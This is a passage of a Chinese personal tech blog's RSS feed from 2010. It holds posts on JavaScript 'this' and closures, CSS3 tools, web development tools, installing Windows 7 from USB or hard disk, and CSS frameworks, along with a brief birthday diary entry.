<div class="de1">oo.<span class="me1">x</span> = <span class="nu0">1</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> test2<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">alert</span><span class="br0">&#40;</span><span class="kw1">this</span>.<span class="me1">x</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">oo.<span class="me1">fun</span> = test2;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">oo.<span class="me1">fun</span><span class="br0">&#40;</span><span class="br0">&#41;</span>; &nbsp;<span class="co1">// 1</span></div>
</li>
</ol>
</div>
<p>这里的this就指当前调用该方法的对象。<br />
对于开头这段代码来说，test()函数是在全局作用域下的（在这里其实就是window对象），所以this的值是当前的window对象。而通过 new test()其实是作为构造函数来调用的，就是通过这个函数来生成一个新的对象，所以这里的this就指的是这个新对象。</p>
<div class="geshi no javascript">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">var</span> xx = <span class="nu0">2</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> test3<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">　　<span class="kw1">this</span>.<span class="me1">xx</span> = <span class="nu0">1</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">var</span> oo = <span class="kw2">new</span> test3<span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">alert</span><span class="br0">&#40;</span>oo.<span class="me1">xx</span><span class="br0">&#41;</span>; <span class="co1">//1</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">alert</span><span class="br0">&#40;</span>xx<span class="br0">&#41;</span>; <span class="co1">//2</span></div>
</li>
</ol>
</div>
<p>以上例子可证明this并不是全局对象，因为xx的值并没有改变。最后在网上看到两段例子，对于理解this和闭包有很大的帮助，在此引用过来。</p>
<h3>代码一</h3>
<div class="geshi no javascript">
<div class="head">　　</div>
<ol>
<li class="li1">
<div class="de1"><span class="kw2">var</span> <span class="kw3">name</span> = <span class="st0">&quot;The Window&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">　　<span class="kw2">var</span> object = <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">　　　　<span class="kw3">name</span> : <span class="st0">&quot;My Object&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">　　　　getNameFunc : <span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">　　　　　　<span class="kw1">return</span> <span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">　　　　　　　　<span class="kw1">return</span> <span class="kw1">this</span>.<span class="kw3">name</span>;</div>
</li>
<li class="li1">
<div class="de1">　　　　　　<span class="br0">&#125;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">　　　　<span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">　　<span class="br0">&#125;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">　　<span class="kw3">alert</span><span class="br0">&#40;</span>object.<span class="me1">getNameFunc</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;</div>
</li>
</ol>
</div>
<h3>代码二</h3>
<div class="geshi no javascript">
<div class="head">　　</div>
<ol>
<li class="li1">
<div class="de1"><span class="kw2">var</span> <span class="kw3">name</span> = <span class="st0">&quot;The Window&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">　　<span class="kw2">var</span> object = <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">　　　　<span class="kw3">name</span> : <span class="st0">&quot;My Object&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">　　　　getNameFunc : <span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">　　　　　　<span class="kw2">var</span> that = <span class="kw1">this</span>;</div>
</li>
<li class="li1">
<div class="de1">　　　　　　<span class="kw1">return</span> <span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">　　　　　　　　<span class="kw1">return</span> that.<span class="kw3">name</span>;</div>
</li>
<li class="li1">
<div class="de1">　　　　　　<span class="br0">&#125;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">　　　　<span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">　　<span class="br0">&#125;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">　　<span class="kw3">alert</span><span class="br0">&#40;</span>object.<span class="me1">getNameFunc</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;</div>
</li>
</ol>
</div>
<p>由于本人水平有限，此文也算是我最近学习过程中的一个小结吧，若有不当之处，还望大家指正。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.iokay.net/web/javascript-web-2/this-scope-closure/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>6款极具实用性的CSS工具</title>
		<link>http://www.iokay.net/web/css-web/six-useful-css3-tools/</link>
		<comments>http://www.iokay.net/web/css-web/six-useful-css3-tools/#comments</comments>
		<pubDate>Thu, 26 Aug 2010 11:02:54 +0000</pubDate>
		<dc:creator>controlsea</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[CSS3]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[开发工具]]></category>

		<guid isPermaLink="false">http://www.iokay.net/?p=176</guid>
		<description><![CDATA[目前，随着CSS3的日益流行，开始有越来越多的网站使用CSS3了。可是，目前市面上并不是所有的浏览器都能很好的支持CSS3属性,可能需要对不同的浏览器编写相应的属性或者说是编写hack之类的。如果你也是一个刚开始学习CSS3的新手，就跟我一样，都想让自己提升得更快，那么在此推荐几款CSS3的工具，希望能对你有所帮助。这也是本人最近在网上以及在工作中所接触到的一些。 CSS3 Please! CSS3 Please!是我师傅推荐给我的，是一个CSS3规则生成器。它允许你在线调正CSS属性，同时右侧的一个大大的CSS3,please圆角框内即展示了当前你所处的样式状态，即时预览，非常方便。接着，你就可以拷贝样式到自己的文件里了。 CSS3 Selectors Test 这是一个选择器的测试，它能自动运行一堆CSS选择器进行测试，以检查你的浏览器是否兼容这些样式。它将以绿色表示兼容的样式。你能点击查看每个CSS选择器的检测结果，它将以一个简单的样例来呈现。 CSS3 Transforms 你能在CSS3 Transforms里通过左侧的按钮来设置一堆不同的属性，比如位置，旋转，渐变程度等等。设置好之后就能迅速产生相应的代码。 CSS3 Gradient Generator 一款在线生成CSS渐变的工具。无论设计师还是开发者都能通过这个工具来生产相对CSS渐变代码。 CSS3 Button Maker 这个工具提供了很多按钮以及颜色选择器来帮你制作CSS3按钮。生成之后你能获取相应的CSS代码来用在自己的网站上。]]></description>
			<content:encoded><![CDATA[<p>目前，随着<span class='wp_keywordlink_affiliate'><a href="http://www.iokay.net/tag/css3/" title="查看 CSS3 中的全部文章" target="_blank">CSS3</a></span>的日益流行，开始有越来越多的网站使用<span class='wp_keywordlink_affiliate'><a href="http://www.iokay.net/tag/css3/" title="查看 CSS3 中的全部文章" target="_blank">CSS3</a></span>了。可是，目前市面上并不是所有的浏览器都能很好的支持CSS3属性,可能需要对不同的浏览器编写相应的属性或者说是编写hack之类的。如果你也是一个刚开始学习CSS3的新手，就跟我一样，都想让自己提升得更快，那么在此推荐几款CSS3的工具，希望能对你有所帮助。这也是本人最近在网上以及在工作中所接触到的一些。</p>
<h2><a href="http://http://css3please.com/">CSS3 Please!</a></h2>
<pre><img src="http://www.iokay.net/mypic/CSS3_Tools/CSS3_Please.jpg" alt="" /></pre>
<p>CSS3 Please!是我师傅推荐给我的，是一个CSS3规则生成器。它允许你在线调正CSS属性，同时右侧的一个大大的CSS3,please圆角框内即展示了当前你所处的样式状态，即时预览，非常方便。接着，你就可以拷贝样式到自己的文件里了。</p>
<h2><a href="http://tools.css3.info/selectors-test/test.html">CSS3 Selectors Test</a></h2>
<pre><img src="http://www.iokay.net/mypic/CSS3_Tools/Selectors_Test.jpg" alt="" /></pre>
<p>这是一个选择器的测试，它能自动运行一堆CSS选择器进行测试，以检查你的浏览器是否兼容这些样式。它将以绿色表示兼容的样式。你能点击查看每个CSS选择器的检测结果，它将以一个简单的样例来呈现。<br />
<span id="more-176"></span></p>
<h2><a href="http://westciv.com/tools/transforms/index.html">CSS3 Transforms</a></h2>
<pre><img src="http://www.iokay.net/mypic/CSS3_Tools/CSS3_Transforms.jpg" alt="" /></pre>
<p>你能在CSS3 Transforms里通过左侧的按钮来设置一堆不同的属性，比如位置，旋转，渐变程度等等。设置好之后就能迅速产生相应的代码。</p>
<h2><a href="http://gradients.glrzad.com/">CSS3 Gradient Generator</a></h2>
<pre><img src="http://www.iokay.net/mypic/CSS3_Tools/Gradient_Generator.jpg" alt="" /></pre>
<p>一款在线生成CSS渐变的工具。无论设计师还是开发者都能通过这个工具来生产相对CSS渐变代码。</p>
<h2><a href="http://css-tricks.com/examples/ButtonMaker/">CSS3 Button Maker</a></h2>
<pre><img src="http://www.iokay.net/mypic/CSS3_Tools/Button_Maker.jpg" alt="" /></pre>
<p>这个工具提供了很多按钮以及颜色选择器来帮你制作CSS3按钮。生成之后你能获取相应的CSS代码来用在自己的网站上。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.iokay.net/web/css-web/six-useful-css3-tools/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>祝我生日快乐</title>
		<link>http://www.iokay.net/mylife/my-birthday/</link>
		<comments>http://www.iokay.net/mylife/my-birthday/#comments</comments>
		<pubDate>Sat, 14 Aug 2010 14:57:18 +0000</pubDate>
		<dc:creator>controlsea</dc:creator>
				<category><![CDATA[Mylife]]></category>
		<category><![CDATA[Birthday]]></category>
		<category><![CDATA[Lonely]]></category>

		<guid isPermaLink="false">http://www.iokay.net/?p=171</guid>
		<description><![CDATA[今天，是我的生日，其实每次生日心情都稍微有点复杂，因为过完生日就意味着自己又大了一岁，又向成熟迈进了一步。不过，这更是一个人心灵的完善，随着年龄的增长，现在过生日早已经没有了儿时的那种喜悦。其实每一个人都在乎所有的表面形式，经历过这么多次生日，我也一直希望能跟朋友在一起过生日而不是现在一个人。入职之后，各种事情纷至沓来，虽然不算是很繁重，但是却在无形之中给我增加了种种压力，似乎到了现在，我更应该承担起我现在该有的一种责任。其实，有时候一个人品味孤单，享受寂寞也是一种洒脱……]]></description>
			<content:encoded><![CDATA[<pre><img src="http://www.iokay.net/mypic/birthday.jpg" alt="" /></pre>
<p>今天，是我的生日，其实每次生日心情都稍微有点复杂，因为过完生日就意味着自己又大了一岁，又向成熟迈进了一步。不过，这更是一个人心灵的完善，随着年龄的增长，现在过生日早已经没有了儿时的那种喜悦。其实每一个人都在乎所有的表面形式，经历过这么多次生日，我也一直希望能跟朋友在一起过生日而不是现在一个人。入职之后，各种事情纷至沓来，虽然不算是很繁重，但是却在无形之中给我增加了种种压力，似乎到了现在，我更应该承担起我现在该有的一种责任。其实，有时候一个人品味孤单，享受寂寞也是一种洒脱……</p>
]]></content:encoded>
			<wfw:commentRss>http://www.iokay.net/mylife/my-birthday/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>推荐4款最新的Web开发工具</title>
		<link>http://www.iokay.net/web/4-useful-web-development-tools/</link>
		<comments>http://www.iokay.net/web/4-useful-web-development-tools/#comments</comments>
		<pubDate>Sat, 17 Apr 2010 12:35:55 +0000</pubDate>
		<dc:creator>controlsea</dc:creator>
				<category><![CDATA[Web]]></category>
		<category><![CDATA[CSS3]]></category>
		<category><![CDATA[HTML5]]></category>
		<category><![CDATA[iPad]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[开发工具]]></category>

		<guid isPermaLink="false">http://www.iokay.net/?p=164</guid>
		<description><![CDATA[随着CSS3新特性的展现，HTML5也开始展露头角。最近，听说WordPress将要把自己的版本提升到了3.0了。于此同时，iPad如约而至高调上市,上市没几天就卖了30多万台，乔布斯还是那么的强悍！搞的自己心里也痒痒的，什么时候也能拥有一台iPad啊！ 针对这一系列的新鲜事，在这里向大家推荐几款开发工具，相信对大家会有所帮助！ CSSDesk – Dynamic CSS Sandbox CSS desk是最新开发的一款工具，它对于测试你的CSS和HTML将会非常有帮助。 The HTML5 test – How well does your browser support HTML5? 这个网站可以测试你当前的浏览器能对于HTML的支持及运行情况并给出评分。它通过测试一些HTML5的新特性来给出相应的分数。某些情况下，测试可能会超出正常的标准。 iPad Peek 可以让你查看你的网站在iPad下的显示情况哦！点击上面的黑边框，可以进行大小缩放，相当直观！ Elastic WordPress Theme Editor 一款为WordPress设计的虚拟主题编辑器，能给你的主题开发带来不少方便！]]></description>
			<content:encoded><![CDATA[<p>随着<span class='wp_keywordlink_affiliate'><a href="http://www.iokay.net/tag/css3/" title="查看 CSS3 中的全部文章" target="_blank">CSS3</a></span>新特性的展现，<span class='wp_keywordlink_affiliate'><a href="http://www.iokay.net/tag/html5/" title="查看 HTML5 中的全部文章" target="_blank">HTML5</a></span>也开始展露头角。最近，听说<a href="http://wordpress.org/" target="_blank">WordPress</a>将要把自己的版本提升到了3.0了。于此同时，<a href="www.apple.com/ipad/" target="_blank">iPad</a>如约而至高调上市,上市没几天就卖了30多万台，乔布斯还是那么的强悍！搞的自己心里也痒痒的，什么时候也能拥有一台<a href="www.apple.com/ipad/" target="_blank">iPad</a>啊！<br />
针对这一系列的新鲜事，在这里向大家推荐几款<span class='wp_keywordlink_affiliate'><a href="http://www.iokay.net/tag/%e5%bc%80%e5%8f%91%e5%b7%a5%e5%85%b7/" title="查看 开发工具 中的全部文章" target="_blank">开发工具</a></span>，相信对大家会有所帮助！</p>
<h2><a href="http://cssdesk.com/">CSSDesk – Dynamic CSS Sandbox</a></h2>
<p><a href="http://cssdesk.com/" target="_blank"><img src="http://www.iokay.net/mypic/webtools/tools_01.jpg" alt="" /></a></p>
<p>CSS desk是最新开发的一款工具，它对于测试你的CSS和HTML将会非常有帮助。<br />
<span id="more-164"></span></p>
<h2><a href="http://html5test.com/">The HTML5 test – How well does your  browser support HTML5?</a></h2>
<p><a href="http://html5test.com" target="_blank"><img src="http://www.iokay.net/mypic/webtools/tools_02.jpg" alt="" /></a></p>
<p>这个网站可以测试你当前的浏览器能对于HTML的支持及运行情况并给出评分。它通过测试一些<span class='wp_keywordlink_affiliate'><a href="http://www.iokay.net/tag/html5/" title="查看 HTML5 中的全部文章" target="_blank">HTML5</a></span>的新特性来给出相应的分数。某些情况下，测试可能会超出正常的标准。</p>
<h2><a href="http://ipadpeek.com/">iPad Peek</a></h2>
<p><img src="http://www.iokay.net/mypic/webtools/tools_03.jpg" alt="" /><br />
可以让你查看你的网站在<span class='wp_keywordlink_affiliate'><a href="http://www.iokay.net/tag/ipad/" title="查看 iPad 中的全部文章" target="_blank">iPad</a></span>下的显示情况哦！点击上面的黑边框，可以进行大小缩放，相当直观！</p>
<h2><a href="http://elastictheme.org/">Elastic WordPress Theme Editor</a></h2>
<p><a href="http://elastictheme.org/" target="_blank"><img src="http://www.iokay.net/mypic/webtools/tools_04.jpg" alt="" /></a></p>
<p>一款为<span class='wp_keywordlink_affiliate'><a href="http://www.iokay.net/tag/wordpress/" title="查看 WordPress 中的全部文章" target="_blank">WordPress</a></span>设计的虚拟主题编辑器，能给你的主题开发带来不少方便！</p>
]]></content:encoded>
			<wfw:commentRss>http://www.iokay.net/web/4-useful-web-development-tools/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>使用U盘或移动硬盘安装Win7</title>
		<link>http://www.iokay.net/operating-system/setup-windows-seven-by-hdd/</link>
		<comments>http://www.iokay.net/operating-system/setup-windows-seven-by-hdd/#comments</comments>
		<pubDate>Tue, 06 Apr 2010 12:37:19 +0000</pubDate>
		<dc:creator>controlsea</dc:creator>
				<category><![CDATA[Operating System]]></category>
		<category><![CDATA[Portable]]></category>
		<category><![CDATA[Setup]]></category>
		<category><![CDATA[Windows Seven]]></category>

		<guid isPermaLink="false">http://www.iokay.net/?p=156</guid>
		<description><![CDATA[方法一 在PE系统或者是XP系统下： 解压系统镜像文件至硬盘逻辑分区某个文件夹，如D盘的win7目录下,或者也可选择你的移动硬盘上的某个分区 将C盘格式化，建议选NTFS格式 把D:\win7目录下的bootmgr和boot目录拷贝到c盘根目录下,并在C盘根目录下建个sources文件夹 把D:\win7\sources下的boot.win复制到C盘的sources文件夹 运行cmd，然后输入c:\boot\bootsect.exe/nt60 c: 如果提示successful就表示成功了 重启计算机后，将自动引导进入安装界面，选择安装语言等 出现“开始安装界面，不要点击“现在安装”，选择点左下角“修复计算机”进入之后，选择最后一项”命令提示符”，即进入DOS窗口 输入“D:\win7\sources\setup.exe”，就开始安装了。注意！这里是sources目录下的setup文件，不要直接选择win7根目录下的setup，否则安装会失败 选择安装语言、格式化C盘即可 方法二 快速格式化U盘。 使用虚拟光驱软件加载win7光盘镜像。 打开命令行，路径切换至虚拟光驱的boot目录下。 运行命令 bootsect /nt60 G: （G:是U盘的盘符） 拷贝win7镜像内所有文件到优盘。 重启电脑，BISO下设置为U盘引导启动，引导优盘，接着进入安装界面，与光盘安装方法相同。]]></description>
			<content:encoded><![CDATA[<pre><img src="http://www.iokay.net/mypic/win7.jpg" alt="" /></pre>
<h2>方法一</h2>
<p>在PE系统或者是XP系统下：</p>
<ol>
<li>解压系统镜像文件至硬盘逻辑分区某个文件夹，如D盘的win7目录下,或者也可选择你的移动硬盘上的某个分区</li>
<li>将C盘格式化，建议选NTFS格式</li>
<li>把D:\win7目录下的bootmgr和boot目录拷贝到c盘根目录下,并在C盘根目录下建个sources文件夹</li>
<li>把D:\win7\sources下的boot.win复制到C盘的sources文件夹</li>
<li>运行cmd，然后输入c:\boot\bootsect.exe/nt60 c: 如果提示successful就表示成功了</li>
<li>重启计算机后，将自动引导进入安装界面，选择安装语言等</li>
<li> 出现“开始安装界面，不要点击“现在安装”，选择点左下角“修复计算机”进入之后，选择最后一项”命令提示符”，即进入DOS窗口</li>
<li> 输入“D:\win7\sources\setup.exe”，就开始安装了。注意！这里是sources目录下的setup文件，不要直接选择win7根目录下的setup，否则安装会失败</li>
<li>选择安装语言、格式化C盘即可</li>
</ol>
<p><span id="more-156"></span></p>
<h2>方法二</h2>
<ol>
<li>快速格式化U盘。</li>
<li>使用虚拟光驱软件加载win7光盘镜像。</li>
<li>打开命令行，路径切换至虚拟光驱的boot目录下。</li>
<li>运行命令 bootsect /nt60 G: （G:是U盘的盘符）</li>
<li>拷贝win7镜像内所有文件到优盘。</li>
<li>重启电脑，BISO下设置为U盘引导启动，引导优盘，接着进入安装界面，与光盘安装方法相同。</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.iokay.net/operating-system/setup-windows-seven-by-hdd/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>选择适合你的CSS框架</title>
		<link>http://www.iokay.net/web/css-web/how-to-choose-right-css-frameworks/</link>
		<comments>http://www.iokay.net/web/css-web/how-to-choose-right-css-frameworks/#comments</comments>
		<pubDate>Wed, 31 Mar 2010 09:15:39 +0000</pubDate>
		<dc:creator>controlsea</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[CSS框架]]></category>
		<category><![CDATA[Framework]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[YUI]]></category>

		<guid isPermaLink="false">http://www.iokay.net/?p=145</guid>
		<description><![CDATA[我们在Web开发的时候，如果正确的选择了适合你的CSS框架就能快速改进并且节省你的开发时间，因为它提供了一个强大的方式灵活并高效得样式化我们的网站以及应用程序。 那我们该怎样选择适合自己的框架呢？ 首先，你要确保你所要用的框架已经建立了并有了能准确描述细节方面的文档。这一步对于你下一步的实施以及使用你准备好的框架，都是至关重要的。然后，你就应该分析你所选择的框架能够解决怎样的问题。不过，当你碰上几个你自认为是最适合这个项目的框架的时候，你应该明智的对它们进行筛选并仔细衡量是否真正符合你的需求。 同样，你可以大胆的去请教其他开发人员或是同事，哪个框架更加合适，为什么选择这个框架。这样可以帮助你在其他有经验者的基础上获取更多有价值的见解。另外一点，要提的就是，你在这次框架选择的过程中扮演怎样的角色.是主要人物？或只是一个乐于帮忙的普通成员而已？它是否能给你带来价值？每个问题都会帮助你决定是否使用所选的框架。 下面让我们看看同时适合开发人员和设计人员的8个最好的框架 Blueprint CSS Blueprint CSS 框架使用了栅格化系统来预先构建了字体样式并包含多款插件，内建表单样式等等。同时，你还会发现Blueprint具有良好的文档，Wiki,以及活跃的社区组，以及一些使用Blutprint框架的网站例子。 Elements CSS Framework 总体上来说，Elements 框架使编写CSS代码变得更加简单而又高效。它是能使你的文件安排的有条理 收集当前类这个功能，将使你的开发过程变得更加友好，而且它能给外链自动增加各种icon图标，这样用户就能快速找到并定位到它们。 Content with Style Content with Style也是一款能帮助你通过一些不可思议的设计和排版元素来设计并构造你的网站的CSS框架。它有6种不同的布局供你选择，包括垂直导航，两个内容栏，两栏式的水平导航及一个内容栏。总之，Content with Style是一种高效的方式来排序你网站的内容并且能顾及到头部、主题部分、及子部分。 Emastic 一款轻量级的CSS框架，它使用了px,em,或是%为单位来标志页面的宽度，而且它同样是基于弹性布局的。Emastic为你的字体排版预先定义了多种样式。主要一点，它的栅格化是由5到75em大小的区块组成。默认的尺寸大小也能随时改变，而且框架的设计选项也是基于栅格设计的。 960 Grid System 960 Grid System是一款非常强大的CSS框架，它能帮助我们迅速开发网站的原型。它是基于12-16栏布局的并且布局模板同样支持Illustrator, Photoshop, Expression Design, Fireworks 等工具。而且，你能用纸笔构造出最适合你自己的一款模板。 Yui Grids 基本的Yui Grids CSS 提供了四种预先定义的页面宽度，六种模板，而且这些都可以再细分成两栏、三栏或者四栏。仅4kb的文件却整合了超过1000中的页面布局样式。支持流式宽度，简单的用户定制化，灵活的模板栏等多种特性。 YAML YAML（Yet Another Multicolumn Layout)另一款适合创建新式和灵活布局的Xhtml/CSS框架。使用它能编写通用性极强的结构，而且用户的可访问性也很强。YAML专注于Web标准及可访问性，包含了众多扩展的轻量级框架核心，完整的多语言文档，强健灵活的布局思想。 SenCSs SenCSs(Sensible Standards CSS baseline，发音“sense”).它为你CSS重复的部分提供了合理的样式，这样你就能更加关注于自己网站的样式。SenCSs不像其他CSS框架那样，它不包含各种杂乱的布局样式或是预定义的栅格系统，那SenCSs能刚什么呢？baseline, fonts, paddings, [...]]]></description>
			<content:encoded><![CDATA[<p>我们在<span class='wp_keywordlink'><a href="http://www.iokay.net/category/web/" title="Web" target="_blank">Web</a></span>开发的时候，如果正确的选择了适合你的<span class='wp_keywordlink_affiliate'><a href="http://www.iokay.net/tag/css%e6%a1%86%e6%9e%b6/" title="查看 CSS框架 中的全部文章" target="_blank">CSS框架</a></span>就能快速改进并且节省你的开发时间，因为它提供了一个强大的方式灵活并高效得样式化我们的网站以及应用程序。</p>
<h3>那我们该怎样选择适合自己的框架呢？</h3>
<p>首先，你要确保你所要用的框架已经建立了并有了能准确描述细节方面的文档。这一步对于你下一步的实施以及使用你准备好的框架，都是至关重要的。然后，你就应该分析你所选择的框架能够解决怎样的问题。不过，当你碰上几个你自认为是最适合这个项目的框架的时候，你应该明智的对它们进行筛选并仔细衡量是否真正符合你的需求。</p>
<p>同样，你可以大胆的去请教其他开发人员或是同事，哪个框架更加合适，为什么选择这个框架。这样可以帮助你在其他有经验者的基础上获取更多有价值的见解。另外一点，要提的就是，你在这次框架选择的过程中扮演怎样的角色.是主要人物？或只是一个乐于帮忙的普通成员而已？它是否能给你带来价值？每个问题都会帮助你决定是否使用所选的框架。</p>
<p>下面让我们看看同时适合开发人员和设计人员的8个最好的框架</p>
<h2><a href="http://www.blueprintcss.org/" target="_blank">Blueprint CSS</a></h2>
<pre><img src="http://iokay.net/mypic/cssframe/cssframe-1.jpg" alt="" /></pre>
<p>Blueprint <span class='wp_keywordlink_affiliate'><a href="http://www.iokay.net/tag/css/" title="查看 CSS 中的全部文章" target="_blank">CSS</a></span> 框架使用了栅格化系统来预先构建了字体样式并包含多款插件，内建表单样式等等。同时，你还会发现Blueprint具有良好的文档，Wiki,以及活跃的社区组，以及一些使用Blutprint框架的网站例子。<br />
<span id="more-145"></span></p>
<h2><a href="http://elements.projectdesigns.org/" target="_blank">Elements CSS Framework</a></h2>
<pre><img src="http://iokay.net/mypic/cssframe/cssframe-2.jpg" alt="" /></pre>
<p>总体上来说，Elements 框架使编写<span class='wp_keywordlink_affiliate'><a href="http://www.iokay.net/tag/css/" title="查看 CSS 中的全部文章" target="_blank">CSS</a></span>代码变得更加简单而又高效。它是能使你的文件安排的有条理 收集当前类这个功能，将使你的开发过程变得更加友好，而且它能给外链自动增加各种icon图标，这样用户就能快速找到并定位到它们。</p>
<h2><a href="http://www.contentwithstyle.co.uk/content/a-css-framework" target="_blank">Content with Style</a></h2>
<pre><img src="http://iokay.net/mypic/cssframe/cssframe-3.jpg" alt="" /></pre>
<p>Content with Style也是一款能帮助你通过一些不可思议的设计和排版元素来设计并构造你的网站的<span class='wp_keywordlink_affiliate'><a href="http://www.iokay.net/tag/css%e6%a1%86%e6%9e%b6/" title="查看 CSS框架 中的全部文章" target="_blank">CSS框架</a></span>。它有6种不同的布局供你选择，包括垂直导航，两个内容栏，两栏式的水平导航及一个内容栏。总之，Content with Style是一种高效的方式来排序你网站的内容并且能顾及到头部、主题部分、及子部分。</p>
<h2><a title="Emastic" href="http://code.google.com/p/emastic/" target="_blank">Emastic</a></h2>
<pre><img src="http://iokay.net/mypic/cssframe/cssframe-4.jpg" alt="" /></pre>
<p>一款轻量级的<span class='wp_keywordlink_affiliate'><a href="http://www.iokay.net/tag/css/" title="查看 CSS 中的全部文章" target="_blank">CSS</a></span>框架，它使用了px,em,或是%为单位来标志页面的宽度，而且它同样是基于弹性布局的。Emastic为你的字体排版预先定义了多种样式。主要一点，它的栅格化是由5到75em大小的区块组成。默认的尺寸大小也能随时改变，而且框架的设计选项也是基于栅格设计的。</p>
<h2><a href="http://960.gs/" target="_blank">960 Grid System</a></h2>
<pre><img src="http://iokay.net/mypic/cssframe/cssframe-5.jpg" alt="" /></pre>
<p>960 Grid System是一款非常强大的CSS框架，它能帮助我们迅速开发网站的原型。它是基于12-16栏布局的并且布局模板同样支持Illustrator, Photoshop, Expression Design, Fireworks 等工具。而且，你能用纸笔构造出最适合你自己的一款模板。</p>
<h2><a title="Yui Grids" href="http://developer.yahoo.com/yui/grids/" target="_blank">Yui Grids</a></h2>
<pre><img src="http://iokay.net/mypic/cssframe/cssframe-6.jpg" alt="" /></pre>
<p>基本的Yui Grids CSS 提供了四种预先定义的页面宽度，六种模板，而且这些都可以再细分成两栏、三栏或者四栏。仅4kb的文件却整合了超过1000中的页面布局样式。支持流式宽度，简单的用户定制化，灵活的模板栏等多种特性。</p>
<h2><a title="YAML" href="http://www.yaml.de/en/" target="_blank">YAML</a></h2>
<pre><img src="http://iokay.net/mypic/cssframe/cssframe-7.jpg" alt="" /></pre>
<p>YAML（Yet Another Multicolumn Layout)另一款适合创建新式和灵活布局的Xhtml/CSS框架。使用它能编写通用性极强的结构，而且用户的可访问性也很强。YAML专注于<span class='wp_keywordlink'><a href="http://www.iokay.net/category/web/" title="Web" target="_blank">Web</a></span>标准及可访问性，包含了众多扩展的轻量级框架核心，完整的多语言文档，强健灵活的布局思想。</p>
<h2><a title="SenCSs" href="http://sencss.kilianvalkhof.com/" target="_blank">SenCSs</a></h2>
<pre><img src="http://iokay.net/mypic/cssframe/cssframe-8.jpg" alt="" /></pre>
<p>SenCSs(Sensible Standards CSS baseline，发音“sense”).它为你CSS重复的部分提供了合理的样式，这样你就能更加关注于自己网站的样式。SenCSs不像其他CSS框架那样，它不包含各种杂乱的布局样式或是预定义的栅格系统，那SenCSs能刚什么呢？baseline, fonts, paddings, margins, tables, lists, headers, blockquotes, forms 等等都是SenCSs所能办到的。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.iokay.net/web/css-web/how-to-choose-right-css-frameworks/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>30个优秀的logo设计教程及其思路</title>
